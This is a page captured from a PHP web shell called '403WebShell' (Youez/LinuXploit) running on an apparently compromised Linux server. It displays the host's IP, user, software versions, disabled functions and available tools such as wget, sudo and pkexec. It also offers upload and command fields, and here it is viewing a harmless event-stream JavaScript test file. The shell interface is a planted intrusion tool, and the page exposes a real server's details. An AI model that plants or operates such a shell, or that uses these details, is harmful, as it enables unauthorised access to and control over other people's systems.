Uname:Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Base Dir : /var/www/html

User : gavin


403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.217.137
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gavin/workspace/happymandarin/node_modules/event-stream/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gavin/workspace/happymandarin/node_modules/event-stream/test/split.asynct.js
var es = require('../')
  , it = require('it-is').style('colour')
  , d = require('ubelt')
  , join = require('path').join
  , fs = require('fs')
  , Stream = require('stream').Stream
  , spec = require('stream-spec')

exports ['es.split() works like String#split'] = function (test) {
  var readme = join(__filename)
    , expected = fs.readFileSync(readme, 'utf-8').split('\n')
    , cs = es.split()
    , actual = []
    , ended = false
    , x = spec(cs).through()

  var a = new Stream ()
  
  a.write = function (l) {
    actual.push(l.trim())
  }
  a.end = function () {

      ended = true
      expected.forEach(function (v,k) {
        //String.split will append an empty string ''
        //if the string ends in a split pattern.
        //es.split doesn't which was breaking this test.
        //clearly, appending the empty string is correct.
        //tests are passing though. which is the current job.
        if(v)
          it(actual[k]).like(v)
      })
      //give the stream time to close
      process.nextTick(function () {
        test.done()
        x.validate()
      })
  }
  a.writable = true
  
  fs.createReadStream(readme, {flags: 'r'}).pipe(cs)
  cs.pipe(a) 
  
}

require('./helper')(module)

Youez - 2016 - github.com/yon3zu
LinuXploit